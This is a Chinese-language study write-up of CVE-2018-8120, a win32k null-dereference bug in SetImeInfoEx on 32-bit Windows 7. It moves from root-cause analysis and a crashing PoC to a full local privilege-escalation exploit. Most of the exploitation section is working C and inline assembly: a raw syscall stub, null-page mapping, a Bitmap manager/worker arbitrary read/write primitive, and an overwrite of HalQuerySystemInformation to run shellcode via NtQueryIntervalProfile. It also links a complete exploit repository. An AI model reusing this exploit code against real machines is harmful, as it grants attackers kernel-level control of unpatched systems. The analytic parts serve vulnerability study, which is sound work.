CVE-2018-8120提权漏洞学习笔记 - 网安 - 专业的网络安全产业、社区、知识平台

简介

1、漏洞描述

该漏洞存在与win32k模块中的SetImeInfoEx函数，在该函数中未对tagWINDOWSTATION结构偏移0x14的spkiList进行有效性验证就对其进行解引用操作，而spkList可以为NULL，此时就会对地址0x14进行解引用操作，导致系统崩溃。通过在0地址申请内存的方式可以绕过解引用产生的系统崩溃，函数会继续向下运行执行写操作，通过这个写操作可以完成任意地址写，最终完成提权。

2、实验环境

操作系统：Win7 x86 sp1 专业版
编译器：Visual Studio 2017
调试器：IDA Pro，WinDbg

漏洞分析

1、漏洞成因

SetImeInfoEx函数的反汇编结果如下：

图1 SetImeInfoEx函数反汇编

第1处的代码是取出参数pWinStation偏移0x14处的内容，参数pWinStation是tagWINDOWSTATION结构，该结构体定义如下：

2: kd> dt win32k!tagWINDOWSTATION   +0x000 dwSessionId      : Uint4B   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION   +0x008 rpdeskList       : Ptr32 tagDESKTOP   +0x00c pTerm            : Ptr32 tagTERMINAL   +0x010 dwWSF_Flags      : Uint4B   +0x014 spklList         : Ptr32 tagKL   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO   +0x020 spwndClipOpen    : Ptr32 tagWND   +0x024 spwndClipViewer  : Ptr32 tagWND   +0x028 spwndClipOwner   : Ptr32 tagWND   +0x02c pClipBase        : Ptr32 tagCLIP   +0x030 cNumClipFormats  : Uint4B   +0x034 iClipSerialNumber : Uint4B   +0x038 iClipSequenceNumber : Uint4B   +0x03c spwndClipboardListener : Ptr32 tagWND   +0x040 pGlobalAtomTable : Ptr32 Void   +0x044 luidEndSession   : _LUID   +0x04c luidUser         : _LUID   +0x054 psidUser         : Ptr32 Void

偏移0x14处的成员是spkList，该成员指向tagKL结构，结构体定义如下：

2: kd> dt win32k!tagKL   +0x000 head             : _HEAD   +0x008 pklNext          : Ptr32 tagKL   +0x00c pklPrev          : Ptr32 tagKL   +0x010 dwKL_Flags       : Uint4B   +0x014 hkl              : Ptr32 HKL__   +0x018 spkf             : Ptr32 tagKBDFILE   +0x01c spkfPrimary      : Ptr32 tagKBDFILE   +0x020 dwFontSigs       : Uint4B   +0x024 iBaseCharset     : Uint4B   +0x028 CodePage         : Uint2B   +0x02a wchDiacritic     : Wchar   +0x02c piiex            : Ptr32 tagIMEINFOEX   +0x030 uNumTbl          : Uint4B   +0x034 pspkfExtra       : Ptr32 Ptr32 tagKBDFILE   +0x038 dwLastKbdType    : Uint4B   +0x03c dwLastKbdSubType : Uint4B   +0x040 dwKLID           : Uint4B

获取spkList后，就在第2处进行对spkList偏移0x14处的地址进行解引用操作。可是，在执行2处的代码之前，函数并没有验证spkList是否合法。如果spkList为NULL，那么此时2处的代码就是对地址0x14进行解引用，因为0x14不是个合法地址，就回导致系统崩溃。

2、漏洞验证

要验证这个漏洞，需要两个步骤，首先这个漏洞是由于SetImeInfoEx函数对tagWINDOWSTATION结构体中的spkList成员操作产生的，需要首先调用函数CreateWindowStation来创建一个tagWINDOWSTATION结构体，该函数定义如下：

HWINSTA WINAPI CreateWindowStation(  __in_opt  LPCTSTR lpwinsta,            DWORD dwFlags,  __in      ACCESS_MASK dwDesiredAccess,  __in_opt  LPSECURITY_ATTRIBUTES lpsa);

创建完结构体以后，需要通过SetProcessWindowStation来为当前进程设置创建的tagWINDOWSTATION，该函数定义如下：

BOOL WINAPI SetProcessWindowStation(  __in  HWINSTA hWinSta);

为当前进程设置完结构体以后，就可以来触发漏洞，通过IDA交叉引用可以发现，只有NtUserSetImeInfoEx函数调用了SetImeInfoEx函数，该函数的反汇编结果如下：

在第1处，函数将参数内容复制到imeInfoEx中作为调用SetImeInfoEx函数的第二个参数，在2处通过调用GetProcessWindowStation来作为调用SetImeInfoEx函数的第一个参数。那么此时，第一个参数就是创建的tagWINDOWSTATION，第二个参数通过调用NtUserSetImeInfoEx时指定，也就是可以由我们来指定。

NtUserSetImeInfoEx函数是未导出函数，所以只能通过自己指定调用号产生系统调用来调用该函数，而NtUserSetImeInfoEx函数的调用号为0x1226，所以，可以使用如下代码来调用NtUserSetImeInfoEx函数：

BOOL __declspec(naked) CallNtUserSetImeInfoEx(PVOID arg0){    __asm    {        mov esi, arg0        mov eax, 0x1226           // NtUserSetImeInfoEx的调用号        mov edx, 0x7FFE0300        call dword ptr[edx]        ret 4    }}

由此，可以写出如下的POC：

BOOL POC_CVE_2018_8120(){    BOOL bRet = TRUE;    HWINSTA hSta = NULL;     // 创建tagWINDOWSTATION结构体    hSta = CreateWindowStation(NULL, 0, READ_CONTROL, NULL);    if (hSta == NULL)    {        ShowError("CreateWindowStation", GetLastError());        bRet = FALSE;        goto exit;    }     // 将创建的结构体设置到本进程中    if (!SetProcessWindowStation(hSta))    {        ShowError("SetProcessWindowStation", GetLastError());        bRet = FALSE;        goto exit;    }     char szBuf[0x15C] = { 0 };    CallNtUserSetImeInfoEx((PVOID)szBuf); exit:    return bRet;}

编译运行POC，此时系统就会崩溃，崩溃信息如下，可以看到，产生崩溃的指令是在对[eax+0x14]的地址进行解引用产生的，这条指令就对应图1中的第2处的代码，此时寄存器eax的值为0，所以执行这条指令时，会对0x14地址进行解引用，该地址是并不是有效地址，就导致了系统的崩溃。

nt!RtlpBreakWithStatusInstruction:83e95110 cc              int     3kd> gKDTARGET: Refreshing KD connectionAccess violation - code c0000005 (!!! second chance !!!)win32k!SetImeInfoEx+0x17:969a007c 395014          cmp     dword ptr [eax+14h],edx3: kd> r eaxeax=000000003: kd> kChildEBP RetAddr  92085a90 969a003d win32k!SetImeInfoEx+0x1792085c28 83e581ea win32k!NtUserSetImeInfoEx+0x6592085c28 772870b4 nt!KiFastCallEntry+0x12a0012fd98 0040105f ntdll!KiFastSystemCallRet

漏洞利用

1、利用原理

由上内容可知，之所以产生崩溃是因为地址0x14是无效地址，因此，可以通过在0地址申请内存的方式让该地址有效，这样执行图1的第2处代码的时候就不会产生系统的崩溃，继续向下执行。在执行图1的第5处的代码的时候，会产生写操作。

函数会向spkList偏移0x2C处保存的地址进行写入操作，由于此时spkList为0，所以函数会向0x2C中保存的地址进行写入操作。写入的内容则由传入的参数决定，这个参数又可以在调用NtUserSetImeInfoEx函数时指定。

因此，可以通过将地址0x2C赋值为保存了HalQuerySystemInformation函数地址的地址，在调用NtUserSetImeInfoEx函数时指定参数的前4字节为ShellCode地址的方式，来对保存HalQuerySystemInformation函数地址的地址中的内容修改为ShellCode的地址，这样通过NtQueryIntervalProfile函数就可以调用ShellCode。

根据上述思路，此时就可以用以下的代码来实现提权：

BOOL Trigger_CVE_2018_8120(){    BOOL bRet = TRUE;     // 0地址分配内存    if (!AllocateZeroMemory())    {        bRet = FALSE;        goto exit;    }     // 获取保存HalQuerySystemInformation函数地址的地址    PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();    if (!pHalQuerySystemInformation)    {        bRet = FALSE;        goto exit;    }     // 指定被写入的地址    *(PDWORD)(0x2C) = (DWORD)pHalQuerySystemInformation;    // 绕过while循环的验证    *(PDWORD)(0x14) = (DWORD)ShellCode_CVE_2018_8120;         char szBuf[0x15C] = { 0 };     // 指定要写入的内容是ShellCode的地址    *(PDWORD)szBuf = (DWORD)ShellCode_CVE_2018_8120;    // 触发漏洞    if (!CallNtUserSetImeInfoEx(szBuf))    {        ShowError("CallNtUserSetImeInfoEx", GetLastError());        bRet = FALSE;        goto exit;    }     // 调用NtQueryIntervalProfile    if (!CallNtQueryIntervalProfile())    {        bRet = FALSE;        goto exit;    } exit:    return bRet;}

可是此时提权并不会成功，接下来通过WinDbg进行分析，首先运行到之前导致系统崩溃处的指令，也就是图1中第2处执行的代码，可以看到虽然此时eax依然为0，但是因为在0地址申请了内存，此时0x14地址是有效的，所以不会产生系统的崩溃。

3: kd> pwin32k!SetImeInfoEx+0x17:96ac007c 395014          cmp     dword ptr [eax+14h],edx3: kd> r eaxeax=000000003: kd> pwin32k!SetImeInfoEx+0x1a:96ac007f 740e            je      win32k!SetImeInfoEx+0x2a (96ac008f)

继续向下运行，就会执行到图1中第3处的代码，此时会将地址0x2C中保存的要修改的保存了HalQuerySystemInformation函数地址的地址赋值给eax，此时eax就不会为0，函数会继续运行。

3: kd> pwin32k!SetImeInfoEx+0x2a:96ac008f 8b402c          mov     eax,dword ptr [eax+2Ch]3: kd> pwin32k!SetImeInfoEx+0x2d:96ac0092 85c0            test    eax,eax3: kd> r eaxeax=83f6f3fc3: kd> pwin32k!SetImeInfoEx+0x2f:96ac0094 74f2            je      win32k!SetImeInfoEx+0x23 (96ac0088)

继续向下运行就会执行下面的判断指令，判断eax+0x48处保存的内容是否为0，如果不为0则会进行跳转，这两条指令对应的就是图1中的第4处代码。此时eax保存的是保存了HalQuerySystemInformation函数地址的地址，该地址偏移0x48处保存的内容并不为0，这样就跳过了memcpy函数的调用，不会成功执行写入操作，导致程序提权失败。

2、Bitmap

为了成功利用该漏洞，就需要通过BitMap来实现任意地址的读写操作。Bitmap对象的可以通过CreateBitmap函数创建，该函数定义如下：

HRESULT CreateBitmap(UINT uiWidth,                     UINT uiHeight,                     REFWICPixelFormatGUID pixelFormat,                     WICBitmapCreateCacheOption option,                     IWICBitmap **ppIBitmap);

当用户态程序通过CreateBitmap函数创建了一个Bitmap对象以后，就会在PEB结构中偏移0x094的成员GdiSharedHandleTable所指的结构体数组中增加一项该结构。

3: kd> dt _PEBntdll!_PEB   +0x000 InheritedAddressSpace : UChar    ...   +0x090 ProcessHeaps     : Ptr32 Ptr32 Void   +0x094 GdiSharedHandleTable : Ptr32 Void   +0x098 ProcessStarterHelper : Ptr32 Void      ....

而GditSharedHandleTable所指的是GDICELL结构数组，该结构体定义如下：

typedef struct _GDICELL{    LPVOID pKernelAddress;    USHORT wProcessId;    USHORT wCount;    USHORT wUpper;    USHORT wType;    LPVOID pUserAddress;} GDICELL;

其中第一项pKernelAddress指向了SURFACE结构体，该结构体定义如下：

typedef struct _SURFACE{    BASEOBJECT  BaseObject;     SURFOBJ     SurfObj;    //XDCOBJ *   pdcoAA;    FLONG       flags;    struct _PALETTE  * const ppal; // Use SURFACE_vSetPalette to assign a palette    struct _EWNDOBJ  *pWinObj;     union    {        HANDLE  hSecureUMPD;  // if UMPD_SURFACE set        HANDLE  hMirrorParent;// if MIRROR_SURFACE set        HANDLE  hDDSurface;   // if DIRECTDRAW_SURFACE set    };     SIZEL       sizlDim;      /* For SetBitmapDimension(), do NOT use                               to get width/height of bitmap, use                               bitmap.bmWidth/bitmap.bmHeight for                               that */     HDC         hdc;          // Doc in "Undocumented Windows", page 546, seems to be supported with XP.    ULONG       cRef;    HPALETTE    hpalHint;     /* For device-independent bitmaps: */    HANDLE      hDIBSection;    HANDLE      hSecure;    DWORD       dwOffset;    //UINT       unk_078;   /* reactos specific */    DWORD biClrImportant;} SURFACE, *PSURFACE;

该结构体中保存的前两个成员的结构如下：

typedef struct _BASEOBJECT {    HANDLE    hHmgr; 0x04    PVOID     pEntry; 0x08    LONG      cExclusiveLock; 0x0d    PW32THREAD Tid;0x10}BASEOBJECT, *POBJ; typedef struct _SURFOBJ {  DHSURF  dhsurf;  HSURF  hsurf;  DHPDEV  dhpdev;  HDEV  hdev;  SIZEL  sizlBitmap;  ULONG  cjBits;  PVOID  pvBits;  PVOID  pvScan0;  LONG  lDelta;  ULONG  iUniq;  ULONG  iBitmapFormat;  USHORT  iType;  USHORT  fjBitmap;} SURFOBJ;

其中SURFOBJ结构体中的pvScan0中保存的地址指向内核空间之中，在用户态可以通过GetBitmaps和SetBitmaps函数来对pvScan0指向的内核空间中的内容进行读写操作。此时可以创建两个Bitmap对象，分别是hWorker和hManager，这两个Bitmap对象对应的pvScan0分别是wpv和mpv。

通过漏洞的任意地址读写的功能，可以将wpv指向的数据复制到mpv中，此时通过SetBitmapBits来设置hManager的可修改地址为保存HalQuerySystemInformation函数地址的地址。

设置完成了hManager的可修改地址，此时就可以通过hWorker来对hManager的可修改地址，也就是保存HalQuerySystemInformation函数地址的地址进行读写。

这种方式之所以能完成，也是因为此时mpv所指向的地址偏移0x48处的内容为0，另外，因此复制的时候会复制0x15C个字节，所以mpv后面的内容要保证不被修改，就需要在复制的源地址处进行正确的赋值。

此时，漏洞利用的代码如下：

BOOL Trigger_CVE_2018_8120(){    BOOL bRet = TRUE;    HBITMAP hManger = NULL, hWorker = NULL;    DWORD dwBuf[0x60] = { 0x90 };    PVOID mpv = NULL, wpv = NULL;    PVOID pOrgAddr = NULL;    PVOID pTargetAddr = (PVOID)ShellCode_CVE_2018_8120;     // 0地址分配内存    if (!AllocateZeroMemory())    {        bRet = FALSE;        goto exit;    }     hManger = CreateBitmap(0x60, 1, 1, 32, dwBuf);    hWorker = CreateBitmap(0x60, 1, 1, 32, dwBuf);     if (!hManger || !hWorker)    {        ShowError("CreateBitmap", GetLastError());        bRet = FALSE;        goto exit;    }     mpv = GetPvScan(hManger);    wpv = GetPvScan(hWorker);     // 指定被写入的地址    *(PDWORD)(0x2C) = (DWORD)mpv;    // 绕过while循环的验证    *(PDWORD)(0x14) = (DWORD)wpv;         DWORD szBuf[0x15C / sizeof(DWORD)] = { 0 };     // 指定要写入的内容    szBuf[0] = (DWORD)wpv;    szBuf[1] = 0x180;    szBuf[2] = 0x1D95;    szBuf[3] = 6;    szBuf[4] = 0x10000;    szBuf[5] = 0x0;    szBuf[6] = 0x4800200;    // 触发漏洞    if (!CallNtUserSetImeInfoEx(szBuf))    {        ShowError("CallNtUserSetImeInfoEx", GetLastError());        bRet = FALSE;        goto exit;    }     // 获取保存HalQuerySystemInformation函数地址的地址    PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();    if (!pHalQuerySystemInformation)    {        bRet = FALSE;        goto exit;    }     // 设置hManger的可修改地址为保存HalQuerySystemInformation函数地址的地址    SetBitmapBits(hManger, sizeof(PVOID), &pHalQuerySystemInformation);      // 获取可修改的地址中的内容    GetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);        // 将可修改地址中的值修改为ShellCode地址    SetBitmapBits(hWorker, sizeof(PVOID), &pTargetAddr);          // 调用NtQueryIntervalProfile，执行ShellCode    if (!CallNtQueryIntervalProfile())    {        bRet = FALSE;        goto exit;    }     // 将可修改地址中的内容恢复回去    SetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);exit:    return bRet;} PVOID GetPvScan(HBITMAP hBitHandle){    DWORD dwGdiCellArray = GetGdiCellArray();     PGDICELL pGdiCell = (PGDICELL)(dwGdiCellArray + LOWORD(hBitHandle) * sizeof(GDICELL));         return (PVOID)((DWORD)pGdiCell->pKernelAddress + 0x30);} DWORD GetGdiCellArray(){    __asm    {        mov eax, fs:[0x30]            // eax = PEB        mov eax, [eax + 0x94]       // eax = GDICELL数组首地址    }}

此时在编译运行到图1的第4处验证，此时目标地址偏移0x48处的内容为0，函数不会发生跳转，接下去将执行复制操作。

随后的GetBitmapBits/SetBitmapBits就可以实现对HalQuerySystemInformation的修改，最终通过调用NtQueryIntervalProfile就会完成提权。

运行结果

完整的exp代码在：https://github.com/LegendSaber/exp/blob/master/exp/CVE-2018-8120.cpp

可以看到，运行exp以后会成功完成提权：